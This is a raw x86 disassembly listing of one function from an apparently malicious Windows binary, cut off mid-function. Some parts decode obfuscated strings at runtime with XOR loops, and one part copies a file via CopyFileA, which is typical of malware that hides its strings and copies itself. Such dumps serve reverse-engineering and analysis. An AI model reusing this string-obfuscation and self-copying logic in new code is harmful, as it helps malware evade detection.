xorps xmm0, xmm0
mov byte [ebp - 0x1a], 0xb7
cmovae eax, dword [ebp - 0xb0]
xor ecx, ecx
mov dword [ebp - 0x34], eax
movq qword [ebp - 0x19], xmm0
mov byte [ebp - 0x11], 0
mov al, cl
sub al, 0x15
xor byte [ebp + ecx - 0x1a], al
inc ecx
cmp ecx, 1
jb 0x41e926
mov dword [0x5585d0], ecx
xorps xmm0, xmm0
lea ecx, [ebp - 0x1a]
mov byte [ebp - 0x19], 0
movups xmmword [ebp - 0x4c], xmm0
mov dword [ebp - 0x3c], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x38], 0
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x41e960
sub ecx, edx
lea eax, [ebp - 0x1a]
push ecx
push eax
lea ecx, [ebp - 0x4c]
call fcn.00402b20
mov byte [ebp - 4], 0x19
lea edx, [ebp - 0x4c]
cmp dword [ebp - 0x38], 0x10
cmovae edx, dword [ebp - 0x4c]
mov ecx, edx
lea esi, [ecx + 1]
nop word [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x41e990
sub ecx, esi
mov eax, closesocket
mov esi, dword [ebp - 0x70]
sub eax, esi
cmp eax, ecx
jb 0x41ff3c
cmp dword [ebp - 0x6c], 0x10
lea eax, [ebp - 0x80]
push ecx
cmovae eax, dword [ebp - 0x80]
push edx
push esi
push eax
push ecx
push dword [ebp - 0x50]
lea ecx, [ebp - 0xc8]
call fcn.00487550
mov byte [ebp - 4], 0x1a
lea ecx, [ebp - 0x18c]
cmp dword [ebp - 0x178], 0x10
mov esi, dword [ebp - 0xb4]
mov eax, esi
cmovae ecx, dword [ebp - 0x18c]
mov edx, dword [ebp - 0xb8]
sub eax, edx
push edi
push ecx
cmp edi, eax
ja 0x41ea28
lea eax, [edi + edx]
cmp esi, 0x10
mov dword [ebp - 0xb8], eax
lea eax, [ebp - 0xc8]
cmovae eax, dword [ebp - 0xc8]
lea esi, [eax + edx]
push esi
call fcn.004f9670
add esp, 0xc
mov byte [esi + edi], 0
lea eax, [ebp - 0xc8]
jmp 0x41ea3b
mov byte [ebp - 0x30], 0
lea ecx, [ebp - 0xc8]
push dword [ebp - 0x30]
push edi
call fcn.004859b0
mov dword [ebp - 0x58], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0x68], xmm0
mov dword [ebp - 0x54], 0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x68], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x58], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
mov byte [ebp - 4], 0x1b
lea ecx, [ebp - 0x68]
push dword [ebp - 0x34]
call fcn.0047f7d0
mov dword [ebp - 0x88], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0x98], xmm0
mov dword [ebp - 0x84], 0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x98], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x88], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
mov byte [ebp - 4], 0x1d
mov ecx, dword [ebp - 0x54]
cmp ecx, 0x10
jb 0x41eaff
mov edx, dword [ebp - 0x68]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x41eaf5
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41ff41
push ecx
push edx
call fcn.004f7c11
add esp, 8
mov dword [ebp - 0x58], 0
mov dword [ebp - 0x54], 0xf
mov byte [ebp - 0x68], 0
mov byte [ebp - 4], 0x1e
mov ecx, dword [ebp - 0xb4]
cmp ecx, 0x10
jb 0x41eb4f
mov edx, dword [ebp - 0xc8]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x41eb45
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41ff41
push ecx
push edx
call fcn.004f7c11
add esp, 8
mov dword [ebp - 0xb8], 0
mov dword [ebp - 0xb4], 0xf
mov byte [ebp - 0xc8], 0
mov byte [ebp - 4], 0x1f
mov ecx, dword [ebp - 0x38]
cmp ecx, 0x10
jb 0x41eba2
mov edx, dword [ebp - 0x4c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x41eb98
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41ff41
push ecx
push edx
call fcn.004f7c11
add esp, 8
mov byte [ebp - 4], 0x20
mov ecx, dword [ebp - 0x9c]
cmp ecx, 0x10
jb 0x41ebe0
mov edx, dword [ebp - 0xb0]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x41ebd6
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41ff41
push ecx
push edx
call fcn.004f7c11
add esp, 8
sub esp, 0x18
lea eax, [ebp - 0x98]
mov ecx, esp
push eax
call fcn.0047faa0
call fcn.0040c4c0
add esp, 0x18
test al, al
jne 0x41f865
cmp dword [ebp - 0x84], 0x10
lea ecx, [ebp - 0x98]
push 0
cmovae ecx, dword [ebp - 0x98]
lea eax, [ebp - 0x1a4]
cmp dword [ebp - 0x190], 0x10
push ecx
cmovae eax, dword [ebp - 0x1a4]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
test eax, eax
je 0x41f865
movaps xmm0, xmmword [0x545f00]
xor ecx, ecx
movups xmmword [ebp - 0x14c], xmm0
mov dword [ebp - 0x13c], 0xde918ed4
movaps xmm0, xmmword [0x542d90]
movups xmmword [ebp - 0x138], xmm0
mov al, cl
sub al, 0x15
xor byte [ebp + ecx - 0x14c], al
inc ecx
cmp ecx, 0x1b
jb 0x41ec63
mov dword [0x5585c8], ecx
xorps xmm0, xmm0
lea ecx, [ebp - 0x14c]
mov byte [ebp - 0x131], 0
movups xmmword [ebp - 0x168], xmm0
mov dword [ebp - 0x158], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x154], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x41eca8
sub ecx, edx
lea eax, [ebp - 0x14c]
push ecx
push eax
lea ecx, [ebp - 0x168]
call fcn.00402b20
mov byte [ebp - 4], 0x21
lea eax, [ebp - 0x168]
cmp dword [ebp - 0x154], 0x10
movaps xmm0, xmmword [0x5441d0]
cmovae eax, dword [ebp - 0x168]
xor ecx, ecx
mov dword [ebp - 0x30], eax
movups xmmword [ebp - 0x20], xmm0
nop dword [eax]
mov al, cl
sub al, 0x15
xor byte [ebp + ecx - 0x20], al
inc ecx
cmp ecx, 7
jb 0x41ecf0
mov dword [0x558510], ecx
xorps xmm0, xmm0
lea ecx, [ebp - 0x20]
mov byte [ebp - 0x19], 0
movups xmmword [ebp - 0xb0], xmm0
mov dword [ebp - 0xa0], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x9c], 0
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x41ed30
sub ecx, edx
lea eax, [ebp - 0x20]
push ecx
push eax
lea ecx, [ebp - 0xb0]
call fcn.00402b20
mov byte [ebp - 4], 0x22
lea edi, [ebp - 0xb0]
cmp dword [ebp - 0x9c], 0x10
movaps xmm0, xmmword [0x5441e0]
cmovae edi, dword [ebp - 0xb0]
xor ecx, ecx
movups xmmword [ebp - 0x20], xmm0
nop
mov al, cl
sub al, 0x15
xor byte [ebp + ecx - 0x20], al
inc ecx
cmp ecx, 7
jb 0x41ed70
mov dword [0x558510], ecx
xorps xmm0, xmm0
lea ecx, [ebp - 0x20]
mov byte [ebp - 0x19], 0
movups xmmword [ebp - 0x4c], xmm0
mov dword [ebp - 0x3c], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x38], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x41eda3
sub ecx, edx
lea eax, [ebp - 0x20]
push ecx
push eax
lea ecx, [ebp - 0x4c]
call fcn.00402b20
mov byte [ebp - 4], 0x23
lea esi, [ebp - 0x4c]
cmp dword [ebp - 0x38], 0x10
lea ecx, [ebp - 0x390]
xorps xmm0, xmm0
mov dword [ebp - 0x118], 0
cmovae esi, dword [ebp - 0x4c]
lea edx, [ecx + 1]
movups xmmword [ebp - 0x128], xmm0
mov dword [ebp - 0x114], 0
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x41edf0
sub ecx, edx
lea eax, [ebp - 0x390]
push ecx
push eax
lea ecx, [ebp - 0x128]
call fcn.00402b20
mov byte [ebp - 4], 0x24
xor ecx, ecx
movaps xmm0, xmmword [0x545b10]
movups xmmword [ebp - 0x14a], xmm0
mov word [ebp - 0x13a], 0xd3db
movaps xmm0, xmmword [0x542cf0]
movups xmmword [ebp - 0x138], xmm0
nop word [eax + eax]
mov al, cl
sub al, 0x15
xor byte [ebp + ecx - 0x14a], al
inc ecx
cmp ecx, 0x19
jb 0x41ee40
mov dword [0x5585e8], ecx
xorps xmm0, xmm0
lea ecx, [ebp - 0x14a]
mov byte [ebp - 0x131], 0
movups xmmword [ebp - 0xf8], xmm0
mov dword [ebp - 0xe8], 0
lea edx, [ecx + 1]
mov dword [ebp - 0xe4], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x41ee85
sub ecx, edx
lea eax, [ebp - 0x14a]
push ecx
push eax
lea ecx, [ebp - 0xf8]
call fcn.00402b20
mov byte [ebp - 4], 0x25
lea eax, [ebp - 0x128]
cmp dword [ebp - 0xe4], 0x10
lea edx, [ebp - 0xf8]
push eax
cmovae edx, dword [ebp - 0xf8]
lea ecx, [ebp - 0x1dc]
call fcn.004839c0
add esp, 4
push esi
mov ecx, eax
mov byte [ebp - 4], 0x26
call fcn.0047f7d0
mov dword [ebp - 0x100], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0x110], xmm0
mov dword [ebp - 0xfc], 0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x110], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x100], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
lea eax, [ebp - 0x98]
mov byte [ebp - 4], 0x27
push eax
lea edx, [ebp - 0x110]
lea ecx, [ebp - 0x288]
call fcn.00483ac0
add esp, 4
push edi
mov edx, eax
mov byte [ebp - 4], 0x28
lea ecx, [ebp - 0x270]
call fcn.00483900
add esp, 4
lea ecx, [ebp - 0x18c]
mov byte [ebp - 4], 0x29
push ecx
mov edx, eax
lea ecx, [ebp - 0x258]
call fcn.00483ac0
add esp, 4
mov byte [ebp - 4], 0x2a
lea ecx, [ebp - 0x140]
push dword [ebp - 0x30]
mov edx, eax
call fcn.00483900
add esp, 4
lea ecx, [ebp - 0x258]
call fcn.004029b0
lea ecx, [ebp - 0x270]
call fcn.004029b0
lea ecx, [ebp - 0x288]
call fcn.004029b0
lea ecx, [ebp - 0x110]
call fcn.004029b0
lea ecx, [ebp - 0x1dc]
call fcn.004029b0
lea ecx, [ebp - 0xf8]
call fcn.004029b0
lea ecx, [ebp - 0x128]
call fcn.004029b0
mov byte [ebp - 4], 0x33
mov ecx, dword [ebp - 0x38]
cmp ecx, 0x10
jb 0x41f00b
mov edx, dword [ebp - 0x4c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x41f001
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41ff46
push ecx
push edx
call fcn.004f7c11
add esp, 8
mov byte [ebp - 4], 0x34
mov ecx, dword [ebp - 0x9c]
cmp ecx, 0x10
jb 0x41f049
mov edx, dword [ebp - 0xb0]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x41f03f
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41ff46
push ecx
push edx
call fcn.004f7c11
add esp, 8
mov byte [ebp - 4], 0x35
mov ecx, dword [ebp - 0x154]
cmp ecx, 0x10
jb 0x41f087
mov edx, dword [ebp - 0x168]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x41f07d
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41ff46
push ecx
push edx
call fcn.004f7c11
add esp, 8
cmp dword [ebp - 0x130], 0
lea eax, [ebp - 0x140]
setbe byte [ebp - 0x29]
sub esp, 0x18
mov ecx, esp
push eax
call fcn.0047faa0
mov cl, byte [ebp - 0x29]
call fcn.0041ac50
movaps xmm0, xmmword [0x545d70]
add esp, 0x18
movups xmmword [ebp - 0x174], xmm0
xor ecx, ecx
mov dword [ebp - 0x164], 0x928fd3db
movaps xmm0, xmmword [str.HHEKAVR]
mov byte [ebp - 0x160], 0xdf
movups xmmword [ebp - 0x15f], xmm0
nop dword [eax]
mov al, cl
sub al, 0x15
xor byte [ebp + ecx - 0x174], al
inc ecx
cmp ecx, 0x1c
jb 0x41f0e0
mov dword [0x5585a4], ecx
xorps xmm0, xmm0
lea ecx, [ebp - 0x174]
mov byte [ebp - 0x158], 0
movups xmmword [ebp - 0xf8], xmm0
mov dword [ebp - 0xe8], 0
lea edx, [ecx + 1]
mov dword [ebp - 0xe4], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x41f125
sub ecx, edx
lea eax, [ebp - 0x174]
push ecx
push eax
lea ecx, [ebp - 0xf8]
call fcn.00402b20
mov byte [ebp - 4], 0x36
lea eax, [ebp - 0xf8]
cmp dword [ebp - 0xe4], 0x10
movaps xmm0, xmmword [0x5441d0]
cmovae eax, dword [ebp - 0xf8]
xor ecx, ecx
mov dword [ebp - 0x34], eax
movups xmmword [ebp - 0x20], xmm0
nop dword [eax]
mov al, cl
sub al, 0x15
xor byte [ebp + ecx - 0x20], al
inc ecx
cmp ecx, 7
jb 0x41f170
mov dword [0x558510], ecx
xorps xmm0, xmm0
lea ecx, [ebp - 0x20]
mov byte [ebp - 0x19], 0
movups xmmword [ebp - 0x110], xmm0
mov dword [ebp - 0x100], 0
lea edx, [ecx + 1]
mov dword [ebp - 0xfc], 0
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x41f1b0
sub ecx, edx
lea eax, [ebp - 0x20]
push ecx
push eax
lea ecx, [ebp - 0x110]
call fcn.00402b20
mov byte [ebp - 4], 0x37
lea edi, [ebp - 0x110]
cmp dword [ebp - 0xfc], 0x10
movaps xmm0, xmmword [0x5441e0]
cmovae edi, dword [ebp - 0x110]
xor ecx, ecx
movups xmmword [ebp - 0x20], xmm0
nop
mov al, cl
sub al, 0x15
xor byte [ebp + ecx - 0x20], al
inc ecx
cmp ecx, 7
jb 0x41f1f0
mov dword [0x558510], ecx
xorps xmm0, xmm0
lea ecx, [ebp - 0x20]
mov byte [ebp - 0x19], 0
movups xmmword [ebp - 0x128], xmm0
mov dword [ebp - 0x118], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x114], 0
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x41f230
sub ecx, edx
lea eax, [ebp - 0x20]
push ecx
push eax
lea ecx, [ebp - 0x128]
call fcn.00402b20
mov byte [ebp - 4], 0x38
lea esi, [ebp - 0x128]
cmp dword [ebp - 0x114], 0x10
lea ecx, [ebp - 0x390]
xorps xmm0, xmm0
mov dword [ebp - 0x3c], 0
cmovae esi, dword [ebp - 0x128]
lea edx, [ecx + 1]
movups xmmword [ebp - 0x4c], xmm0
mov dword [ebp - 0x38], 0
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x41f280
sub ecx, edx
lea eax, [ebp - 0x390]
push ecx
push eax
lea ecx, [ebp - 0x4c]
call fcn.00402b20
mov byte [ebp - 4], 0x39
xor ecx, ecx
movaps xmm0, xmmword [0x545b10]
movups xmmword [ebp - 0x1e4], xmm0
mov word [ebp - 0x1d4], 0xd3db
movaps xmm0, xmmword [0x542cf0]
movups xmmword [ebp - 0x1d2], xmm0
mov al, cl
sub al, 0x15
xor byte [ebp + ecx - 0x1e4], al
inc ecx
cmp ecx, 0x19
jb 0x41f2c4
mov dword [0x5585e8], ecx
xorps xmm0, xmm0
lea ecx, [ebp - 0x1e4]
mov byte [ebp - 0x1cb], 0
movups xmmword [ebp - 0x168], xmm0
mov dword [ebp - 0x158], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x154], 0
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x41f310
sub ecx, edx
lea eax, [ebp - 0x1e4]
push ecx
push eax
lea ecx, [ebp - 0x168]
call fcn.00402b20
mov byte [ebp - 4], 0x3a
lea eax, [ebp - 0x4c]
cmp dword [ebp - 0x154], 0x10
lea edx, [ebp - 0x168]
push eax
cmovae edx, dword [ebp - 0x168]
lea ecx, [ebp - 0x228]
call fcn.004839c0
add esp, 4
push esi
mov ecx, eax
mov byte [ebp - 4], 0x3b
call fcn.0047f7d0
mov dword [ebp - 0xa0], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0xb0], xmm0
mov dword [ebp - 0x9c], 0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0xb0], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0xa0], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
lea eax, [ebp - 0x98]
mov byte [ebp - 4], 0x3c
push eax
lea edx, [ebp - 0xb0]
lea ecx, [ebp - 0x210]
call fcn.00483ac0
add esp, 4
push edi
mov ecx, eax
mov byte [ebp - 4], 0x3d
call fcn.0047f7d0
mov dword [ebp - 0x58], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0x68], xmm0
mov dword [ebp - 0x54], 0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x68], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x58], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
mov byte [ebp - 4], 0x3e
lea ecx, [ebp - 0x18c]
cmp dword [ebp - 0x178], 0x10
mov esi, dword [ebp - 0x54]
mov eax, esi
cmovae ecx, dword [ebp - 0x18c]
mov edx, dword [ebp - 0x58]
sub eax, edx
mov edi, dword [ebp - 0x17c]
push edi
push ecx
cmp edi, eax
ja 0x41f45d
lea eax, [edx + edi]
cmp esi, 0x10
mov dword [ebp - 0x58], eax
lea eax, [ebp - 0x68]
cmovae eax, dword [ebp - 0x68]
lea esi, [eax + edx]
push esi
call fcn.004f9670
add esp, 0xc
mov byte [edi + esi], 0
lea eax, [ebp - 0x68]
jmp 0x41f46d
mov byte [ebp - 0x30], 0
lea ecx, [ebp - 0x68]
push dword [ebp - 0x30]
push edi
call fcn.004859b0
mov dword [ebp - 0xb8], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0xc8], xmm0
mov dword [ebp - 0xb4], 0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0xc8], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0xb8], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
mov byte [ebp - 4], 0x3f
lea ecx, [ebp - 0xc8]
push dword [ebp - 0x34]
call fcn.0047f7d0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x28], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x18], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
mov byte [ebp - 4], 0x41
mov ecx, dword [ebp - 0xb4]
cmp ecx, 0x10
jb 0x41f525
mov edx, dword [ebp - 0xc8]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x41f51b
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41ff4b
push ecx
push edx
call fcn.004f7c11
add esp, 8
mov dword [ebp - 0xb8], 0
mov dword [ebp - 0xb4], 0xf
mov byte [ebp - 0xc8], 0
mov byte [ebp - 4], 0x42
mov ecx, dword [ebp - 0x54]
cmp ecx, 0x10
jb 0x41f578
mov edx, dword [ebp - 0x68]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x41f56e
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41ff4b
push ecx
push edx
call fcn.004f7c11
add esp, 8
mov dword [ebp - 0x58], 0
mov dword [ebp - 0x54], 0xf
mov byte [ebp - 0x68], 0
mov byte [ebp - 4], 0x43
mov ecx, dword [ebp - 0x1fc]
cmp ecx, 0x10
jb 0x41f5c8
mov edx, dword [ebp - 0x210]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x41f5be
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41ff4b
push ecx
push edx
call fcn.004f7c11
add esp, 8
mov dword [ebp - 0x200], 0
mov dword [ebp - 0x1fc], 0xf
mov byte [ebp - 0x210], 0
mov byte [ebp - 4], 0x44
mov ecx, dword [ebp - 0x9c]
cmp ecx, 0x10
jb 0x41f621
mov edx, dword [ebp - 0xb0]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x41f617
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41ff4b
push ecx
push edx
call fcn.004f7c11
add esp, 8
mov dword [ebp - 0xa0], 0
mov dword [ebp - 0x9c], 0xf
mov byte [ebp - 0xb0], 0
mov byte [ebp - 4], 0x45
mov ecx, dword [ebp - 0x214]
cmp ecx, 0x10
jb 0x41f67a
mov edx, dword [ebp - 0x228]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x41f670
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41ff4b
push ecx
push edx
call fcn.004f7c11
add esp, 8
mov dword [ebp - 0x218], 0
mov dword [ebp - 0x214], 0xf
mov byte [ebp - 0x228], 0
mov byte [ebp - 4], 0x46
mov ecx, dword [ebp - 0x154]
cmp ecx, 0x10
jb 0x41f6d3
mov edx, dword [ebp - 0x168]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x41f6c9
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41ff4b
push ecx
push edx
call fcn.004f7c11
add esp, 8
mov byte [ebp - 4], 0x47
mov ecx, dword [ebp - 0x38]
cmp ecx, 0x10
jb 0x41f70b
mov edx, dword [ebp - 0x4c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x41f701
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41ff4b
push ecx
push edx
call fcn.004f7c11
add esp, 8
mov dword [ebp - 0x3c], 0
mov dword [ebp - 0x38], 0xf
mov byte [ebp - 0x4c], 0
mov byte [ebp - 4], 0x48
mov ecx, dword [ebp - 0x114]
cmp ecx, 0x10
jb 0x41f75b
mov edx, dword [ebp - 0x128]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x41f751
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41ff4b
push ecx
push edx
call fcn.004f7c11
add esp, 8
mov byte [ebp - 4], 0x49
mov ecx, dword [ebp - 0xfc]
cmp ecx, 0x10
jb 0x41f799
mov edx, dword [ebp - 0x110]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x41f78f
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41ff4b
push ecx
push edx
call fcn.004f7c11
add esp, 8
mov byte [ebp - 4], 0x4a
mov ecx, dword [ebp - 0xe4]
cmp ecx, 0x10
jb 0x41f7d7
mov edx, dword [ebp - 0xf8]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x41f7cd
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41ff4b
push ecx
push edx
call fcn.004f7c11
add esp, 8
sub esp, 0x18
lea eax, [ebp - 0x28]
mov ecx, esp
push eax
call fcn.0047faa0
xor cl, cl
call fcn.0041ac50
mov byte [ebp - 4], 0x35
add esp, 0x18
mov ecx, dword [ebp - 0x14]
cmp ecx, 0x10
jb 0x41f827
mov edx, dword [ebp - 0x28]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x41f81d
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41ff50
push ecx
push edx
call fcn.004f7c11
add esp, 8
mov byte [ebp - 4], 0x20
mov ecx, dword [ebp - 0x12c]
cmp ecx, 0x10
jb 0x41f865
mov edx, dword [ebp - 0x140]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x41f85b
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41ff50
push ecx
push edx
call fcn.004f7c11
add esp, 8
mov byte [ebp - 4], 0x15
mov ecx, dword [ebp - 0x84]
cmp ecx, 0x10
jb 0x41f8a3
mov edx, dword [ebp - 0x98]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x41f899
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41ff50
push ecx
push edx
call fcn.004f7c11
add esp, 8
mov byte [ebp - 4], 9
mov ecx, dword [ebp - 0x6c]
cmp ecx, 0x10
jb 0x41f8db
mov edx, dword [ebp - 0x80]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x41f8d1
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41ff55
push ecx
push edx
call fcn.004f7c11
add esp, 8
mov esi, dword [ebp - 0x50]
test esi, esi
je 0x41fdea
mov ecx, esi
mov dword [ebp - 0x3c], 0
xorps xmm0, xmm0
mov dword [ebp - 0x38], 0
movups xmmword [ebp - 0x4c], xmm0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x41f900
sub ecx, edx
push ecx
push esi
lea ecx, [ebp - 0x4c]
call fcn.00402b20
mov byte [ebp - 4], 0x4b
xorps xmm0, xmm0
mov dword [ebp - 0x1f], 0x9ac3bca6
xor ecx, ecx
mov word [ebp - 0x1b], 0x8082
movq qword [ebp - 0x19], xmm0
mov byte [ebp - 0x11], 0
mov al, cl
sub al, 0x15
xor byte [ebp + ecx - 0x1f], al
inc ecx
cmp ecx, 6
jb 0x41f932
mov dword [0x5584f8], ecx
xorps xmm0, xmm0
lea ecx, [ebp - 0x1f]
mov byte [ebp - 0x19], 0
movups xmmword [ebp - 0x110], xmm0
mov dword [ebp - 0x100], 0
lea edx, [ecx + 1]
mov dword [ebp - 0xfc], 0
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x41f970
sub ecx, edx
lea eax, [ebp - 0x1f]
push ecx
push eax
lea ecx, [ebp - 0x110]
call fcn.00402b20
mov byte [ebp - 4], 0x4c
lea esi, [ebp - 0x110]
cmp dword [ebp - 0xfc], 0x10
xorps xmm0, xmm0
mov dword [ebp - 0x1e], 0x898c9eb7
cmovae esi, dword [ebp - 0x110]
xor ecx, ecx
mov byte [ebp - 0x1a], 0x8a
movq qword [ebp - 0x19], xmm0
mov byte [ebp - 0x11], 0
nop word [eax + eax]
mov al, cl
sub al, 0x15
xor byte [ebp + ecx - 0x1e], al
inc ecx
cmp ecx, 5
jb 0x41f9c0
mov dword [0x5584f4], ecx
xorps xmm0, xmm0
lea ecx, [ebp - 0x1e]
mov byte [ebp - 0x19], 0
movups xmmword [ebp - 0xf8], xmm0
mov dword [ebp - 0xe8], 0
lea edx, [ecx + 1]
mov dword [ebp - 0xe4], 0
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x41fa00
sub ecx, edx
lea eax, [ebp - 0x1e]
push ecx
push eax
lea ecx, [ebp - 0xf8]
call fcn.00402b20
mov byte [ebp - 4], 0x4d
lea edx, [ebp - 0xf8]
cmp dword [ebp - 0xe4], 0x10
cmovae edx, dword [ebp - 0xf8]
mov ecx, edx
lea edi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x41fa36
sub ecx, edi
mov eax, closesocket
mov edi, dword [0x555b2c]
sub eax, edi
cmp eax, ecx
jb 0x41ff5a
cmp dword [0x555b30], 0x10
mov eax, 0x555b1c
push edi
cmovae eax, dword [0x555b1c]
push eax
push ecx
push edx
push ecx
push dword [ebp - 0x50]
lea ecx, [ebp - 0x128]
call fcn.00487550
push esi
lea ecx, [ebp - 0x128]
mov byte [ebp - 4], 0x4e
call fcn.0047f7d0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x140], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x130], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
lea eax, [ebp - 0x140]
mov byte [ebp - 4], 0x4f
push eax
lea ecx, [ebp - 0x4c]
call fcn.0047f840
mov byte [ebp - 4], 0x4e
mov ecx, dword [ebp - 0x12c]
cmp ecx, 0x10
jb 0x41fb03
mov edx, dword [ebp - 0x140]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x41faf9
mov edx, dword [eax - 4]
add ecx, 0x23
